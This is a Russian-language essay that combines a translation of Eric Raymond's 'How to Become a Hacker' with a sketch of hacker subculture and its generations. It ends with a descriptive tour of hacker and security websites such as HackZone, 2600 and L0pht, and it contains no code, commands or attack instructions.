Кто такой хакер?

 Можно найти кучу определений для термина "хакер", большинство из которых связано с технической компетентностью и удовольствием, получаемым от решения проблем и преодоления преград. Но если же вы хотите знать, как стать хакером, то действительно существенными являются два аспекта.
Имеется некоторое сообщество, некая общая культура, состоящая из опытных программистов и сетевых чародеев, которая в свою очередь ведет свою историю от первых миникомпьютеров с разделением времени и от самых ранних экспериментов с сетью ARPAnet. Члены этой культуры и дали рождение термину "хакер". Хакеры построили Internet. Хакеры сделали операционную систему Unix тем, чем она является сегодня. Хакеры ведут Usenet. Хакеры обеспечивают работу World Wide Web. Если вы являетесь частью этой культуры, если вы внесли в нее свой вклад, и другие члены этой культуры знают - кто вы и называют вас хакером, то вы - хакер.
Хакерский взгляд на мир не ограничивается лишь культурой хакеров-программистов. Есть люди, применяющие хакерский подход и к другим вещам, вроде электроники или музыки. В действительности, вы можете встретиться с этим подходом на высших уровнях любой науки или искусства. Софтверные хакеры признают таких близких по духу людей и тоже могут называть их "хакерами", некоторые даже провозглашают, что хакерская природа на самом деле не зависит от среды, в которой работает хакер.
Имеется и другая группа людей, громко именующих себя хакерами, но они ими не являются. Это те люди (главным образом, молодежь мужского пола), кого тягают за взлом компьютерных и телефонных систем. Настоящие хакеры называют таких людей "крэкерами" и не желают иметь с ними ничего общего. Настоящие хакеры в большинстве своем считают крэкеров ленивыми, безответственными и не особо умными. То, что человек способен взломать систему безопасности, не делает его хакером, точно так же как умение угонять тачки не делает вас автомобильным мастером. К несчастью многие журналисты и писатели введены в заблуждение и используют слово "хакер" для описания крэкеров, и это бесконечно раздражает настоящих хакеров.
Главное различие в следующем: хакеры строят вещи, а крэкеры их ломают.
Если вы хотите стать хакером, то продолжайте чтение. Если вы хотите стать крэкером, то отправляйтесь читать ньюз-группу alt.2600и приготовьтесь отсидеть от пяти до десяти лет в тюрьме, когда обнаружите, что не настолько ловки насколько полагали.


Хакерский подход. 

Хакеры решают проблемы и строят вещи, они верят в свободу и в добровольную взаимопомощь. Для того, чтобы вас воспринимали как хакера, вы должны вести себя так, как если бы это была ваша собственная позиция. А для того, чтобы вести себя так, будто это ваша позиция, вы должны действительно верить в эту позицию.
Но если вы рассчитываете культивировать хакерские подходы лишь для получения признания в культуре, то вы упустили суть.
Стать таким человеком, кто верит в подобные вещи - это важно для вас, потому что это поможет вам научиться и поддержит стремление. Как и в любом другом творчестве, самый эффективный способ стать мастером - это подражать мировоззрению мастеров, не только интеллектуально, но и также эмоционально.
Так что если вы хотите стать хакером, то повторяйте следующие вещи, пока не поверите в них:
· Мир полон пленительных проблем, ждущих своего решения. 
Быть хакером - это огромное удовольствие, но это удовольствие такого рода, которое требует массы усилий. Для таких усилий нужна мотивация. Атлеты-чемпионы черпают мотивацию из своего рода физического удовольствия, получаемого от доведения собственного тела до совершенства, от преодоления собственных физических пределов. Подобно этому, чтобы быть хакером вы должны получать максимум удовольствий от решения проблем, от оттачивания своих навыков, от тренировки своего интеллекта.
Если же вы не из тех, кто ощущает подобные вещи естественным образом, то вам понадобиться стать таким, чтобы сделаться хакером. В противном случае вы обнаружите, что вся ваша хакерская энергия исчерпана такими раздражителями, как секс, деньги и успех в обществе.
Вы также должны развить что-то веры в ваши собственные способности к обучению. Веры в то, что даже если вы возможно и не знаете всего, что необходимо для решения проблемы, но если вы освоили лишь кусочек и на этом научились, то уже знаете достаточно, чтобы решить и следующий кусок - и так далее, пока все не будет сделано.
· Никто и никогда не должен решать проблему дважды. 
Творческие мозги - это ценный и ограниченный ресурс. Не следует растрачивать их на переизобретение колеса, когда вокруг ожидает так много чудеснейших новых проблем.
Чтобы вести себя как хакер, вы должны верить, что время размышлений других хакеров - драгоценно, причем настолько, что почти моральным долгом для вас является поделиться информацией. Решить проблемы, а затем просто раздать решения, чтобы другие хакеры могли решать новые проблемы вместо того, чтобы беспрестанно возвращаться к старым.
От вас не требуется верить, что вы обязаны раздать все плоды своего творчества, хотя те хакеры, кто так делает, - наиболее уважаемы среди других хакеров. С ценностями хакеров вполне согласуется продажа плодов творчества, достаточная для обеспечения вас пищей, кровом и компьютерами. Согласуется это и с использованием ваших хакерских навыков для поддержания семьи и даже для того, чтобы разбогатеть, пока занимаясь этим вы не забываете, что являетесь хакером.
· Скука и рутина - это зло. 
Хакеры (и вообще творческие люди) никогда не должны занимать скучными вещами или погрязать в рутине монотонной работы, потому что когда это происходит, то это означает, что они не делают того, что могут делать лишь они - решать новые проблемы. Подобное расточительство вредит каждому. Поэтому скука и рутина - это не просто неприятные вещи, это зло.
Чтобы вести себя как хакер, вы должны верить в это так, чтобы желать автоматизации всех скучных мелочей настолько, насколько возможно, и не только для себя, но и для всех (особенно для других хакеров).
Но иногда хакеры занимаются вещами, которые могут показаться монотонными или скучными стороннему наблюдателю, в качестве упражнения для прочистки мозгов или те же для выработки навыка.Либо же для приобретения особого рода опыта, который невозможно получить иным путем. Но все это делается по собственному выбору, никто из умеющих думать никогда не должен принуждаться к скучной работе.
· Свобода - это благо. 
Хакеры по своей природе антиавторитарны. Любой, кто может отдать вам приказания, может остановить решение вами любой из проблем, вас очаровавших. И, учитывая образ мышления авторитарных мозгов, найдутся какие-нибудь потрясающе идиотские причины, чтобы это сделать. Так что с авторитарным подходом следует сражаться всюду, где вы его встретите, дабы он не душил вас и других хакеров.
Это не то же самое, что сражаться со всеми властями. Детям нужно руководство, преступность нужно сдерживать. Хакер может соглашаться на принятие какого-то рода руководства, когда есть возможность получить то, что нужно и не особо много времени тратиться на выполнение приказов. Но это ограниченная разумная сделка, что-то вроде личной уступки.
Авторитаризм процветает в условиях цензуры и секретности. Его адепты не верят в добровольное сотрудничество и в деление информацией, им нравиться только такое "сотрудничество", которым руководят они. Поэтому чтобы вести себя как хакер, вы должны выработать в себе инстинктивное неприятие цензуры, секретности, а также применение силы или лжи для принуждения ответственных взрослых людей. И действовать необходимо исходя из такой веры.
· Позиция не заменит компетентность. 
Для того, чтобы быть хакером вы должны развить некоторые из перечисленных подходов. Но ухватив лишь подходы вы сделаетесь хакером не в большей степени, чем спортсменом-рекордсменом или рок-звездой. Для того, чтобы стать хакером, требуется интеллект, практика, самоотверженность и тяжкий труд.
Поэтому вам придется научиться с недоверием относиться к позиции, но с уважением к компетентности любого рода. Хакеры не позволяют позерам транжирить их время, но они поклоняются компетентности, особенно хакерской компетентности, но компетентность хороша в чем угодно. Особо ценится обладание такими необходимыми навыками, которые мало у кого есть. А самое лучшее - это компетентность в таких навыках, которые требуют проницательного ума, сноровки и концентрации.
Если вы боготворите компетентность, то вы получаете наслаждение, развивая ее в себе. Тяжкий труд и преданность станут для вас захватывающей игрой, а не рутиной. И это жизненно необходимо для того, чтобы стать хакером.


Основные навыки. 

Хакерский взгляд на жизнь - это важно, но мастерство - многократно важнее. Позиция не заменит компетентности, и существует определенный набор базовых навыков, которыми вам необходимо обладать, прежде чем любой из хакеров помыслит назвать хакером и вас.
Этот базовый набор со временем потихоньку изменяется по мере того, как технология порождает новые навыки и делает ненужными устаревшие. Например, обычно упоминалось программирование на машинном языке, но вплоть до недавнего времени в набор не включали язык HTML. Однако, в сегодняшний комплект вполне определенно входят следующие компоненты :
· Научитесь программировать. 
Это, конечно же, фундаментальный хакерский навык. Если же вы не знаете ни одного компьютерного языка, рекомендуем начать с языка Python. Он понятно разработан, хорошо документирован и относительно доброжелателен к новичкам. Несмотря на то, что он хорош для первого языка, это не просто игрушка. Это мощный и гибкий язык, хорошо подходящий для больших объектов.
Но знайте, что вы не достигните хакерского уровня мастерства (или уровня хорошего программиста), если будете знать только один язык программирования. Вам необходимо научиться мыслить о проблемах программирования вообще, независимо от любого конкретного языка. Чтобы быть настоящим хакером, вам надо достичь уровня, на котором вы сможете выучить новый язык за несколько дней, соотнося положения руководства с тем, что вам уже известно. Это означает, что вам следует выучить несколько очень разных языков.
Если вы занимаетесь серьезным программированием, то вам придется выучить Си, основной язык операционной системы Unix (хотя это и не тот язык, который следует пытаться выучить первым). Другие языки первостепенной важности для хакеров - это Perl и Lisp. Язык Perl имеет смысл выучить из практических соображений: он очень широко используется для активных web-страниц и системного администрирования, так что даже если вам и никогда не придется писать на Perl, вы должны научиться его читать. Lisp стоит выучить ради тех глубоких просвещенных познаний, которые вы обретете, когда наконец его освоите. Эти познания сделают вас прекрасным программистом на всю оставшуюся жизнь, даже если вы никогда особо и не будете использовать сам Lisp.
Лучше всего, на самом деле, выучить все четыре этих языка (Python, C, Perl и Lisp). Помимо того, что это самые важные хакерские языки, они демонстрируют очень разные подходы к программированию и каждый из них научит вас ценным вещам.
Мы не можем дать здесь развернутые инструкции относительно того, как научиться программировать - это сложное искусство. Но можем сказать вам, что книги и курсы этому не научат (многие, возможно, большинство хакеров - это самоучки). Что этому учит, так это чтение кодов и написание кодов.
Научиться программировать - это как научиться писать хорошим естественным языком. самый лучший способ для этого - почитать что-то из написанного мастерами, затем написать немного самому; прочесть побольше, написать немного побольше; прочитать еще больше, написать еще побольше... И повторять этот процесс до тех пор, пока ваши программы не разовьются в нечто мощное и экономичное.
Отыскать хорошие коды для чтения раньше было сложно, потому что было очень мало больших программ, доступных в исходных кодах и пригодных для изучения и возни юных хакеров. Ныне ситуация кардинально изменилась: программы в исходных кодах, программистский инструментарий и операционные системы теперь широко доступны. Поэтому...
· Достаньте один из вариантов Unix в исходных кодах, научитесь его использовать и с ним работать. 
Полагаем, что вы имеете персональный компьютер или можете получить к нему доступ. Единственный и самый важный шаг, который любой из новичков может предпринять для приобретения хакерских навыков, - это раздобыть копию Linux или одной из версий BSD-Unix, установить ее на персональной машине и запустить.
Да, в мире есть и другие операционные системы помимо Unix. Но их распространяют в двоичном виде - вы не сможете читать коды и не сможете их модифицировать. Учиться хакерству на машинах под DOS, Windows или MacOS - это все равно, что учиться танцевать полностью загипсованным.
Кроме того, Unix - это операционная система Internet. Хотя вы можете научиться использовать Internet и не зная Unix, но вы не можете быть Internet-хакером, не понимая Unix. По этой самой причине сегодняшняя хакерская культура является весьма сильно Unix-сконцентрированной. (Это не всегда было так, и некоторым из прежних хакеров такое положение дел не очень по нраву, но симбиоз между Unix и Internet стал настолько прочен, что даже силы Microsoft не хватает, чтобы серьезно на это повлиять).
Так что заводите себе Unix, лучше всего Linux, но есть и другие варианты (вы можете работать как под Linux, так и под DOS/Windows на одной и той же машине). Выучите эту ОС. Работайте с ней. Возитесь с ней. Общайтесь через нее с Internet. Читайте коды. Модифицируйте их. Вы получите такой программистский инструментарий (включая C, Lisp и Perl), о котором любая из ОС Microsoft и не мечтала. Вы получите удовольствие, и вы усвоите больше знаний, чем предполагали в процессе обучения, когда оглянитесь на этот процесс уже будучи мастером-хакером.
· Научитесь использовать World Wide Web и писать на HTML. 
Большинство из тех вещей, что созданы хакерской культурой делают свое дело невидимо, помогая работать фабрикам, учреждениям и университетам без сколько-нибудь заметного влияния на жизнь не-хакеров. WWW - это одно большое исключение, гигантская блестящая хакерская игрушка, которая даже по признанию политиков изменяет мир. Лишь по одной этой причине (а также и множеству других приятных причин) вам следует научиться работать с Web.
Это не означает, что нужно просто научиться управлять браузером (это любой умеет), но и научиться писать на HTML, языке разметки документов Web. Если вы еще не умеете программировать, то писание на HTML обучит ваше мышление некоторым полезным привычкам, которые пригодятся при освоении языков программирования. Так что делайте домашнюю страничку. Но простое обладание домашней странички даже и близко не поведет вас к тому, чтобы стать хакером. В Web полным-полно домашних страничек. Большинство из них - это бессмысленный, бесполезный хлам. Крайне броско и привлекательно оформленный хлам, бесспорно, но все равно хлам.
Чтобы быть стоящей, ваша страничка должна иметь "контент" - содержание. Она должна быть интересной и/или полезной для других хакеров.

Хакерская культура. 

Как и большинство культур без денежной экономики, Хакерландия строится на репутации. Вы пытаетесь решить интересные проблемы, но вот насколько они интересны, и насколько хороши ваши решения, - это нечто такое, о чем обычно могут судить только (в техническом смысле) равные вам или превосходящие вас.
Таким образом, когда вы играете в хакерские игры, вы учитесь вести счет главным образом по тому, что думают о вашем мастерстве другие (именно поэтому вы не будете хакером до тех пор, пока вас не станут так называть другие хакеры). Данный факт затеняют как образ хакера-одиночки, так и определенные табу хакерский культуры, не допускающие, чтобы чье-то эго или внешние признания вообще могли быть мотивацией для хакера.
В частности Хакерландия - это то, что антропологи называют "культурой даров". Вы зарабатываете статус и репутацию не тем, что руководите другими людьми, и не тем что прекрасны, и не тем, что имеете вещи, которые являются предметом вожделения других. Но скорее тем, что раздаете вещи. В частности, одаривая своим временем, своим мастерством и результатами своего творчества.
Есть пять основных типов вещей, которые вы можете делать, чтобы вас уважали хакеры:
· Пишите программ с открытым исходным кодом. 
Первое - это писать программы, которые другие хакеры считают забавными или полезными, и раздавать исходные коды программ для использования всей хакерской культурой.
Такую работу называли "свободно-доступным программным обеспечением" (free software), но это приводит в замешательство некоторых людей, точно не понимающих, что подразумевается по словом "свободно-доступное". Теперь для такого программного обеспечения многие предпочитают использовать термин "с открытым исходным кодом" или "open-source software".Наиболее почитаемые полубоги Хакерландии - это люди, которые написали большие и талантливые программы, отвечающие самым широким потребностям, и которые раздали их всем, так что каждый теперь их использует.
· Помогайте тестировать и отлаживать программы с открытым исходным кодом. 
Почитаемы также те, кто тестирует и отлаживает программы с открытым исходным кодом. В этом несовершенном мире мы неизбежно затрачиваем самую большую часть времени разработки программы на фазу отладки. Именно поэтому любой думающий автор программ с открытым кодом скажет вам, что хорошие бета-тестеры (знающие, как внятно описать симптомы, хорошо локализующие проблемы, способные исправлять опечатки и применяющие несколько простых диагностических подпрограмм) ценятся на вес золота. Всего один такой человек может превратить фазу отладки из затянутого изнуряющего кошмара в просто полезную задержку.
Если вы новичок, то попытайтесь найти разрабатываемую программу, которая вам интересна, и станьте хорошим бета-тестером. Существует вполне естественный путь продвижения от помощи в тестировании программ к помощи в их отладке и далее к помощи их модификации. Вы многому научитесь таким способом и породите добрую карму в отношениях с людьми, которые помогут вам впоследствии.
· Публикуйте полезную информацию. 
Еще одна хорошая вещь - отбирать и накапливать полезную и интересную информацию на Web-страницах или документов типа ЧаВО (FAQ или "часто задаваемые вопросы и ответы"), и делать их общедоступными.
Ведущие основных технических ЧаВО почти столь же уважаемы, как и авторы программ с открытым исходом кодом.
· Помогайте поддерживать работу инфраструктуры. 
Хакерская культура (и инженерная разработка Internet) основана на добровольцах. Имеется масса необходимой, но не особо эффективной работы, которую нужно делать, чтобы поддерживать процесс: администрирование рассылочных листов, модерирования новостных групп, управление большими архивами программного обеспечения, разработка RFC и других технических стандартов.
Люди, хорошо делающие такого рода вещи, глубоко уважаемы, поскольку каждый знает, что подобная работа требует кучу времени и не так забавна как игры с кодами. Это работа свидетельствует о самоотверженности.
· Служите самой хакерской культуре. 
Наконец, вы можете служить и распространять саму культуру. Но этим не стоит заниматься до тех пор, пока вы не поваритесь в этом достаточное время и не станете хорошо известны благодаря одной из четырех первых вещей.
В хакерской культуре нет явных лидеров, но здесь есть "культурные герои", "племенные старейшины", историки и ораторы. Когда вы достаточно долго поживете в этих траншеях, то сможете вырасти в одного их таких людей. Но остерегайтесь: хакеры настороженно относятся к своим крикливым племенным старейшинам, так что видимое достижение такого рода славы таит в себе опасность. Вместо того, чтобы стремиться к этому, вам лучше как бы не заботиться об этом и тогда это само упадет на колени, а уж затем можно стать скромным и милостивым в своем статусе.

Хакер - "придурок"? 

Вопреки расхожему мифу, вам не обязательно быть придурком, чтобы быть хакером. Это, однако, помогает, и многие хакеры действительно "придурки". Статус изгоя общества помогает вам оставаться сосредоточенными на действительно важных вещах, таких как размышление и хакерство.
Именно по этой причине многие хакеры носят ярлык "придурок" и даже используют в качестве знака доблести более грубый термин "кретин" - это их способ декларации своей независимости от общепринятых в обществе оценок.
Если вы способны в достаточной степени сосредоточиться на хакерстве, достигать здесь заметных результатов и при этом иметь личную жизнь - что ж, прекрасно. Сегодня это намного легче. Культурный мейнстрим стал теперь намного дружелюбнее к техно-придурком . Есть даже растущее количество людей, обнаруживающих, что хакеры зачастую могут быть вполне качественными любовниками и супругами.
Если же вас влечет к хакерству по той причине, что у вас нет личной жизни, что ж, и это неплохо. По крайней мере, у вас не будет проблем с концентрацией. А личная жизнь - как знать, может она придет позже.



Образ жизни.

Итак, чтобы быть хакером, вы должны обрести мировоззрения хакера. Есть несколько вещей, которые могут помочь в те моменты, когда вы не находитесь рядом с компьютером. Они не заменяют хакерство, но многие хакеры ими занимаются и, по их ощущениям, это на каком-то фундаментальном уровне объединяет их с сутью хакерства.
Читайте научную фантастику. Ходите на встречи любителей фантастики (это хороший способ познакомиться с хакерами и "прото-хакерами").
Изучайте Дзэн-буддизм и/или восточные искусства боя. Их ментальная дисциплина имеет, похоже, важные черты сходства.
Вырабатывайте в себе аналитический музыкальный слух. Учитесь понимать специфические слух. Учитесь понимать специфические виды музыки.
Учитесь неплохо играть на каком-нибудь музыкальном инструменте или грамотно петь.
Вырабатывайте в себе понимание каламбуров и игр в слова.
Учитесь хорошо писать на своем родном языке. Удивительно, многие из хакеров, являются качественными писателями.
Чем больше из этих вещей вы уже делаете, тем больше вероятность того, что вы представляете собой природный хакерский материал. Почему перечислены именно эти вещи - не вполне ясно, но они связаны со смешиванием навыков левого и правого полушарий мозга, а это представляется важным (для хакеров необходимо уметь как выстраивать стройные логические обоснования, так и время времени оценивать проблему вне связи с очевидной логикой).
И, наконец, несколько вещей, которые делать не следует:
· Не использует глупые и напыщенные пользовательские имена или клички. 
· Не вовлекайтесь в свары и перебранки в Usenet (или где-либо еще). 
· Не называйте себя "кибер-панком" и не тратьте свое время на тех, кто это делает. 
· Не отправляйте письма или электронную почту, переполненные ошибками правописания. 
Единственная репутация, которую вы себе создадите, занимаясь этими вещами - это посмешище. У хакеров длинная память, и вам может понадобиться годы жизни, чтобы об этом забыли.

Субкультура хакеров.

Недавно сформировавшаяся субкультура хакеров является довольно своеобразным социальным образованием.
Сам термин "хакер" имеет американские корни. Его развитие прослеживается с конца 60-х годов до нашего времени, и происходит, в определенном смысле, от движения хиппи. Но, между тем, такую субкультуру нельзя определить ни как общину, ни как политическое либо религиозное движения.
Экстернальная культура хакеров аккумулирует в себе определенные нормы и символику.
Внешний вид и составляющие:
В плане облика и манеры поведения наши герои не привлекают к себе внимания. Длинноволосые интеллигентно-интенсивные, отвлеченные и не всегда аккуратные молодые люди, читающие "Analog", "Scientific American" и "Smithsonian", они не читают журнал "Хакер" - такое детство совсем не для них. Диапазон потребляемой литературы часто удивляет постороннего наблюдателя, так как многие хакеры посвящают чтению столько же времени, сколько средний американец посвящает своему телевизору. Часто их дома забиты зачитанной до дыр литературой по самым разнообразным направлениям, среди которых помимо технических, присутствует научная фантастика и шахматная тематика.
В еде часто предпочитают что-нибудь восточное - китайское, например. Тайская пища пользуется потрясающей популярностью, как и еврейские деликатесы. Существенное меньшинство средне- и юго-западных хакеров предпочитают мексиканскую кухню. Для ночной работы годятся как огромная пицца , так и не меньших размеров термос с кофе.
Политические взгляды не поражают разнообразием - хакеры несколько слева от центра, за исключением мощного контингента вольнодумцев, полностью отвергающих обыкновенное разделение на левых и правых. Конечно, среди хакеров преобладают молодые люди, но пропорция прекрасного пола выше, чем в других технических профессиях. Хакеры как социальная группа настолько же различаются цветом кожи и национальностью, как и иные группы, поэтому все расовые предрассудки встречаются крайней враждебностью.
Вероисповедание достигает гигантского разброса - от атеиста до неретивого иудея и неоязычника. Очень часто несколько религий находят своего почитателя в лице одного человека. Кроме того, на многих хакеров оказывает влияние буддизм или, реже, таоизм и их смесь с "родной" религией.
В общении наши герои предпочитают электронную почту, поскольку свобода, разнообразие и вдохновение приходит перед монитором. Вопреки стереотипу, хакеры не ограничиваются узкими интеллектуальными рамками и пытаются интересоваться всем, что способствует умственной стимуляции, зачастую подолгу беседуя на различные отвлеченные темы. В принципе, можно заставить хакера говорить о чем угодно, если, конечно, удастся оторвать его от компьютера. Однако у них не всегда развита способность к социальным контактам, присутствуют большие недостатки в умении общаться, они подвержены психологическому давлению, в подавляющей массе неорганизованы и неряшливы в общении с внешним миром.
История возникновения:
Первыми в ряду представителей субкультуры хакеров были молодые люди от 16 до 22 лет, так называемые тинэйджеры, самовыражение которых происходило посредством использования компьютерных технологий. Такое увлечение, как правило, создает особое психологическое восприятие, которое определяет дальнейший стиль жизни, сохраняясь довольно продолжительное время.
Многие внешние проявления служат как бы опознавательными знаками "своих": обилие специфико-технических терминов в разговоре, свободная манера поведения, простой неопределенный стиль одежды, небрежная прическа в дополнение к невыразительной внешности, рюкзаки за спиной - символика их внешности. Графические знаки в виде каких-либо вышитых на одежде фраз или знаков, подобно хиппи, встречаются очень редко.
Однако, "хакер" - это далеко не только дань возрасту. Наряду с этим, хакер - это специалист, который стремится прежде всего к общению с другими пользователями информационного сообщества, к выражению своих мыслей, идей в свободной, творческой атмосфере. Такие хакеры создавали программное обеспечение типа shareware или freeware, криптографические системы наподобие известнейшей PGP (Pretty Good Privasy) - детища пацифиста из Боулдера Филиппа Циммермана, или нашумевшей программы "SATAN" (позволяющей выявлять дыры в защите компьютерных систем) - творение неуживчивого анархиста Дэна Фармера, и другие изобретения, которые позволяют иным пользователям реально обладать независимостью в киберпространстве, творя искусство и красоту. Фактически они используют свои знания и способности на благо всех пользователей Internet - глобального информационного сообщества.
Множество людей, предоставленных сами себе, формируют схожие коммуникативные структуры. В субкультуре хакеров складывалась трехслойная иерархия, где довольно относительно выражена элита, существует основная масса представителей субкультуры, сгруппированная вокруг элиты, а также иные случайные представители, которые в принципе не считаются настоящими хакерами, оставаясь в статусе "ламеров".
Можно говорить о нескольких "поколениях" хакеров, которые способствовали технологическому прогрессу в силу своей деятельности.
На начальном этапе такая деятельность заключалась в преобразовании огромных по размерам компьютеров первых поколений с использованием так называемой технологии доступа "разделения времени", которая заключалась в создании некоторого подобия виртуальных персональных компьютеров. Как следствие этого, вкладом второго поколения хакеров явилось изобретение в конце 70-х годов персональных компьютеров. Именно в те годы можно было наблюдать большое количество ярких индивидуальностей в среде хакеров. Выразительным примером может служить хиппи-битломан Стив Джобс, который вместе со своими друзьями Ли Фельсенштайном и Стивом Возняком собирал и недорого продавал приспособления с помощью которых любой американец мог долгое время совершенно бесплатно эксплуатировать телефонную сеть США. Наиболее интересно, что впоследствии именно Ли изобрел первый мобильный персональный компьютер "Осборн-I".
В дальнейшем многие представители третьего поколения устремились в малый бизнес, принеся с собой, помимо прочего, новую философию общения, построенную на многих традициях хиппи. Однако, успех в такого рода начинаниях, не сопровождался изменением их ценностей. Именно третье поколение хакеров в начале 80-х создало большое количество прикладных программ для персональных компьютеров, которые способствовали успеху платформы IBM. Созданные ими организации, такие как "Фонд электронных рубежей" (Electronic Frontier Foundation), основателем которого является небезызвестный Мич Кейпор - создатель популярной программы "Lotus 1-2-3", и в настоящее время серьезно влияют на политику Вашингтона в области соблюдения гражданских прав в киберпространстве.
Четвертое поколение хакеров создало то, что принято теперь называть мировым сообществом, киберпространством или Internet - средой обитания и общения для более чем 50 миллионов человек. Но наряду с Internet мы видим и еще одно гениальное изобретение, интегрированное в эту среду, - систему сенсорного погружения или т.н. виртуальную реальность, начальные основополагающие принципы и концепция которой были разработаны еще одной яркой личностью первого поколения хакеров - Джейроном Ланье.
На более ранних стадиях труд представителей четвертого поколения хакеров можно было видеть в создании систем электронной почты на основе BBS (Bulletin Board System - электронная доска объявлений), а также сети Usenet, созданной в начале 80-х (от User's Network- сеть пользователей) двумя студентами-выпускниками университета Дьюк Джимом Эллисоном и Томом Траскоттом. Именно в основе этой сети впоследствии очень точно был сформулирован вечный принцип всех поколений хакеров: участвовать может любой. Да и сама Usenet может считаться эталоном в плане своей структуры - полная децентрализация, отсутствие иерархии, самоорганизация и резкое отрицания любого коммерческого использования. Именно эти принципы были интегрированы культурой хиппи в движении хакеров. И именно четвертое поколение хакеров активно противостоит коммерсализации и узурпации какими-либо государственными органами региональных и опорных высокоскоростных коммуникационных магистралей Internet, руководствуясь правом всеобщей доступности и бесплатности информации.

Преступники или романтики? 

Россия всегда славилась талантами. Не обошло это и компьютерную сферу. И хотя компьютеры только недавно вошли в нашу жизнь, намного позже, чем во всем мире. Но это не стало преградой для российского человека. Появилось огромное количество программистов, способных померяться силами с западными ассами. Многие из них уехали за рубеж и сейчас успешно работают в самых крупных софтверных компаниях. Волна непобедимых российских компьютерных вирусов переполошило все мировое сообщество. Опять же российские программисты научились лучше всех бороться с этими вирусами. И вот в Россию пришел "Internet". Многие западные аналитики с испугом ожидали этого факта. И не ошиблись. Российские таланты погрузились в безграничную паутину Internet.
Появились российские "Хакеры". В большинстве своем это слово не носит криминального характера - основной лозунг хакерского движения - "Информация должна быть бесплатной и общедоступной", конечно не все соглашаются с этим принципом, и именно их информационные Web-ресурсы чаще всего подвергаются атаке хакеров.
"Территория взлома", или HackZone - очень цивилизованный русский хакерский сайт. На этих страницах вас приветствуют люди, способные изъясняться на вполне литературном языке, здесь проводится конкурс статей о хакерах, публикуется в русском переводе знаменитое произведение Брюса Стерлинга "Охота на хакеров". В разделе "Закон есть закон" начинающий взломщик может ознакомиться с текстами основных законов РФ о правовой охране компьютерных программ, чтобы всегда отдавать себе отчет в том, на какой срок могут потянуть те или иные действия. Самый интересный раздел - это статьи: здесь можно узнать о истории со взломом Сити-банка, о слабостях операционной системы Windows NT, о том, насколько хорошо защищена от вторжения внутренняя сеть компании Pepsi-Cola:
На сервере также публикуется еженедельное обозрение хакерских и анти-хакерских сайтов под редакцией Дмитрия Леонова и постоянно обновляются новости. Страничка "Подполье" содержит коллекцию рассказов о нашумевших хакерских атаках. Есть и форум, где можно пообщаться с другими посетителями сайта.
На санкт-петербургском сервере xpress.ru живет "обозрение пиратских технологий", которое называется "Вечерний D2MAC". D2MAC - это один из телевизионных стандартов вещания, которым пользуются "все мало-мальски приличные" спутниковые каналы ТВ. Обозрение посвящено тому, как собственными силами настроить тюнер на спутниковый канал, подправить положение тарелки-антенны:Если у вас дома установлена спутниковая антенна, с ней возникли какие-либо проблемы, а установщика вызывать не хочется - отправляйтесь в Internet, и возможно, советы от Александра Борзова помогут вам справиться самому. Итак, "Вечерний D2MAC" предлагает новости из мира технологий спутникового вещания, описания аппаратуры, полезные советы и рассказы о том, как взламывают спутниковые каналы.
Операционная система Windows NT используется сейчас повсеместно, и тем, кто с ней работает, полезно было бы знать, как защитить эту систему от попыток взлома. Сайт NT Security посвящен проблемам безопасности операционной системы Windows NT и предлагает всевозможные рецепты защиты - начиная от способов настройки и заканчивая маленькими программками, латающими бреши в системе безопасности. Здесь, как и на множестве хакерских сайтов, рассказывается о том, с каких сторон чаще всего подвергаются атаке компьютеры с Windows NT и какими инструментами пользуются для того, чтобы вывести такие компьютеры из строя либо разведать нужную информацию, однако на сайте NT Security делается упор не на технологию атаки, а на технологию защиты от нее. Сайт обновляется по мере обнаружения брешей в защите Windows NT и по мере появления новых способов вывести из строя эту систему - то есть не реже, чем раз в месяц.
Страница "Хакерство с самого начала" так озаглавлена не зря: на ней есть отличное руководство для начинающих хакеров, и каждый, кому взбрело в голову стать взломщиком-профессионалом, может сразу оценить, каковы его силы и возможности и хочет ли он в действительности этим заниматься. Руководство весьма детальное, а список рекомендуемой литературы настолько длинен, что десять раз задумаешься, прежде чем купить и прочесть все эти книги - тем более, что большинство упомянутых учебников и справочников в России стоят весьма недешево. Раздел "Happy Hackers Guide" - "Руководство счастливого хакера" - описывает вполне легальные и безвредные хакерские техники. Любому пользователю Internet будет интересно узнать, как справится с надоевшей рекламной почтой или своей компьютер от самых распространенных атак извне.
Заявление создателей этого сайта гласит, что он предназначен для того, чтобы облегчить продвинутым пользователям доступ к новостям и полезной информации о безопасности компьютерных систем. В принципе, то же самое пишут почти на всех хакерских серверах, но у этого сайта есть своя специфика: в основном здесь рассказывается о взломе Internet-серверов, в особенности о таких случаях взлома, в результате которых подменяют заглавную страницу сервера. Авторы объясняют свой интерес тем, что о взломе интернетовских серверов в прессе и на телевидении обычно рассказывают всякие небылицы.
Сервер hacked.net всегда готов предоставить журналистам достоверную информацию о том или ином взломе, чтобы избежать ошибок или домыслов. На сервере масса интереснейших ресурсов: например, здесь можно узнать сколько серверов Всемирной Паутины было взломано за прошедший год. Публикуется ежемесячный журнал хакерского сообщества.
Самый знаменитый хакерский альманах - это, конечно, "2600". Выходит он всего четыре раза в год, но сайт существует настолько давно, что в ожидании свежего номера всегда можно убить время за чтением не менее интересных архивов. Сам же альманах публикуется с 1984 года. На сайте можно увидеть все обложки бумажной версии альманаха с 1987 года по 1995-й.
Каждый месяц читатели альманаха, то есть хакеры, встречаются в заранее назначенном месте - практически в каждом крупном городе мира есть такое место встречи хакеров. Там же приводится список всех таких мест - включая одно достаточно известное кафе в Москве.
Одно из самых забавных мест на сервере - галерея взломанных веб-сайтов, где можно увидеть как сайт выглядел до взлома и как после. Галерея эта воистину бесценна, поскольку крупные коммерческие и официальные сайты обычно восстанавливаются очень быстро - а ведь так интересно посмотреть, до чего доходит хакерская фантазия при подмене главной страницы сервера.
L0pht Heavy Industries - всемирно известное объединение хакеров, которое существует приблизительно так же давно, как и журнал 2600. На сайте этого объединения сейчас распространяется последнее мощное орудие взлома - L0pht Crack версии 2.0, программа, которая выуживает пароли из системы Windows NT.
В архивах сайта вы найдете массу руководств к действию, манифестов и справочных материалов, включая архивы статей из таких изданий, как Mondo 2000. В разделе "Лаборатория" вас ждут описания проектов, над которыми в данный момент работают хакеры - при желании можно внести свой посильный вклад в разработку очередной программы или поучаствовать в просветительной акции. Есть и страничка, где можно заказать различные товары - например, компакт-диски с хакерскими программами. И, конечно, не обошлось без живого общения, хотя на этом сайте оно имеет несколько странную форму: одна из страниц содержит видео-глазок, который позволяет наблюдать за хакерами из группы L0pht в реальном режиме времени.
